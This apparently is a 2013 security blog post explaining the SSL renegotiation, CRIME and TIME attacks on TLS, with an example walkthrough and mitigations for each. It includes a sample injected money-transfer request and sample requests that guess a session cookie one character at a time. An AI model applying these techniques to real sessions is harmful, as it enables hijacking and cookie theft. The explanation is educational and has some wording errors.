SSL renegotiation is helpful when the routine SSL session is already established and the client authentication has to take place. For example, say you are browsing an online shopping site which uses SSL, i.e., HTTPS. Initially, you browse through the site anonymously, add items to the cart, etc. But when you decide to purchase you will be asked to log in to the site, so now the SSL connection needs to be adjusted to allow the authentication. Whatever information is gathered prior to this authentication (e.g., items added to the cart) has to be maintained even after the authentication. So the new SSL session that has to be established uses the already existing connection. Note that renegotiation can be requested either by the client or by the server at any time. For the client to request renegotiation the client sends a “Client Hello” message in the already-established encrypted channel and the server responds with a “Server Hello” and then the negotiation follows the normal handshake process. The server can initiate the renegotiation by sending the client a “Hello Request” message. When the client receives the request, the client sends the “Client Hello” message and the handshake process takes place. This explains the basic SSL renegotiation process.

How Is the Attack Accomplished?

Using the renegotiation attack, an attacker can inject commands into an HTTPS session, downgrade a HTTPS connection to a HTTP connection, inject custom responses, perform denial of service, etc. That explains to some extent how serious the problem is. It is easier to understand how the attack is accomplished through the following example.

Practical Example

The action corresponding to each of the numbers present in the below figure are explained in the order below:

SSL renegotiation attack

  1. Assume that a client wants to connect to a online banking site. He initiates the routine TLS handshake process
  2. The client blocks the request and holds the packets.
  3. The attacker initiates a new session and completes a full TLS handshake.
  4. The attacker sends a GET request (asking to send money to his account) to the bank application.
  5. Server asks for renegotiation.
  6. The TLS handshake initiated at step 1 and blocked by the attacker will now be forwarded to the server, which a new TLS handshake over the previously established encrypted TLS session 2. So the client now is authenticated and has a valid cookie.
  7. Due to this renegotiation, the server now assumes that the previously sent request in step 4 was actually sent by the client. Hence the request which goes to the server is as follows; it will be interpreted by the server as a legitimate request and then executed.

    GET /bank/sendmoney.asp?acct=attacker&amount=100000
    Ignore the rest: GET /ebanking
    Cookie: validcookie 

Solution

One way to fix the renegotiation vulnerability for SSLv3 is to completely disable renegotiation on the server side. As a permanent fix for the vulnerability, a renegotiation indication extension was proposed for TLS that will require the client and server to include and verify information about previous handshakes in any renegotiation handshakes.

Compression Ratio Info-leak Made Easy Attack (CRIME)

This is a side-channel attack on SSL/TLS that can be used to predict sensitive information, such as the session tokens, etc. This is done based on the compressed size of the requests. This attack is known to work against SSL compression and SPDY, which use deflate/gzip data compression techniques. SPDY is not widely used, but SSL compression is one technique which is very much in use.

Background 

Before we see the details of the actual attack, let me explain a few things about “compression.” Web pages are generally compressed before the responses are sent out (this is called HTTP compression), primarily to make efficient use of available bandwidth and to provide greater transmission speeds. With compressed data, we can send the same amount of data to the destination but using fewer bits. The browser usually tells the server (through “accept-encoding” header), what compression methods it supports and the server accordingly compresses the content and sends it across. If the browser does not support any compression, then the response is not compressed. The most commonly used compression algorithms are gzip and deflate.

Accept-Encoding: gzip, deflate

When the content arrives, it is uncompressed by the browser and processed. So, basically with SSL-enabled web sites, the content is first compressed, then encrypted and sent. But you can determine the length of this compressed content even when it’s wrapped by SSL.

How Is the Attack Accomplished?

A CRIME attack is based on observing how the compressed length changes for different input values. Initially the attacker observes the size of cipher text sent by the browser and then makes multiple requests to the target website to observe the compressed response sizes. The attack primarily works by taking leverage of the “compressed size” of the text when there are repetitive terms. The attack can be best understood by following the below example, which demonstrates how an attacker can exploit it in real time.

Practical Example

Consider the below POST request made by a valid user.

Request:
POST / HTTP /1.1
Host: testing.com
User -Agent: Mozilla /5.0 (Windows NT 6.1; WOW64; rv :14.0) Gecko /20100101 Firefox /14.0.1
Cookie: secretcookie =5db98j64wa23pq1cb4cb0031ln481nx1
Accept -Language: en -US ,en;

<—–body——–>

As mentioned earlier, this content is first compressed and then encrypted and sent. But note that the size of this encrypted piece can still be found out just by sniffing the network traffic. Now the attacker’s target is to get the value of “secretcookie.” The attacker now can make the victim click on a link and, using JavaScript, he can trigger the below request.

Request triggered by the attacker:

POST /secretcookie =0 HTTP /1.1
Host: testing.com
User -Agent: Mozilla /5.0 (Windows NT 6.1; WOW64; rv :14.0) Gecko /20100101 Firefox /14.0.1
Cookie: secretcookie =5db98j64wa23pq1cb4cb0031ln481nx1
Accept -Language: en -US ,en;

<—–body——–>

In the above request, “secretcookie =0″ is the attacker-controlled input. When repetitive terms are encountered during the compression, instead of displaying it a second time the compressor says “This text is found 67 characters ago.” So this reduces the overall size of the compressed output. In the above request, since the word “secretcookie” is repeated, the compression is done accordingly by taking note of it. Now the attacker sends the below POST requests and observes the compressed sizes.

POST /secretcookie =0….
POST /secretcookie =1…
POST /secretcookie =2…
POST /secretcookie =3…
POST /secretcookie =4…
POST /secretcookie =5…

Now can you guess which POST request would be best compressed, i.e., which POST request would have the smallest compressed size? The one with “secretcookie =5″ would compress the best. This is because it has more repetitive characters. In other words, “secretcookie =5″ is repeated twice and hence the compressed size is less. Thus the attacker can confirm that 5 is the first character of the secretcookie. Going ahead with this logic, he can brute-force the other characters as well and extract the entire cookie value.

Solution

CRIME can be remediated by preventing the use of compression at the server end. It can also be prevented at the client end by disabling the compression of HTTPS requests. This is because, in TLS 1.2, the client sends the server a list of compression algorithms that are supported by it and the server picks one of them. If the client sends no compression algorithm, then the data cannot be compressed.

Timing Info-leak Made Easy Attack

In spite of being a very interesting attack, CRIME majorly suffers from two drawbacks:

  1. The attacker must be the man in the middle (to be able to read the messages) and he must also control the plaintext (which is sent as input to the application).
  2. CRIME was very soon mitigated by disabling the TLS compression.

The TIME attack overcomes both of these problems. So this attack doesn’t need an attacker to sniff the network. Instead of focusing on the HTTP request, it focuses on the HTTPS responses. To explain this attack in simple terms, all an attacker needs to do is redirect a user to a malicious website that will run some JavaScript to get the encrypted secret data.

Background

The basic concept here is that, in order to find out if there is difference in the length of two messages, we can observer the time it takes to send these messages across the network. The larger the difference, the more time it’s going to take.

How Is the Attack Accomplished?

The basic goal of the attacker is to force the length of compressed data to overflow into an additional TCP packet. The attacker then pads the remaining data. When the maximum size is crossed, any additional packet created (due to wrong guess), introduces an additional full round trip with a significant delay. Consider a simple user input (say “secret = data”). Assume that the value is reflected in the response along with the “secret.” In other words, whatever the user inputs is reflected in the response. Let us say in the first request, the user sends “secret = anything” and receives a response with a size of 1024 bytes. If the user input is “secret=a” in the second request, the response size will be less and hence it will take less time to reach than the first request. Likewise, it is possible to predict the every character in every position of our payload by observing the response times (to be precise by observing the “shortest response times”). This attack is little difficult to comprehend and so I have mentioned a video link here which could give you a better insight for the folks who are interested.

Black hat video link: http://www.youtube.com/watch?v=rTIpFfTp3-w&noredirect=1

Solution

Including CSRF, CAPTCHA tokens in the request could avoid the multiple requests that an attacker makes using the JavaScript. Adding random timing delays to the decryption for any timing attack can be reasonable to disrupt this attack, but it may not be completely helpful. The application should take care of the reflection of user input in the response.

 

Posted by on December 31, 2013 in web application hacking

Leave a comment

Tags: , , ,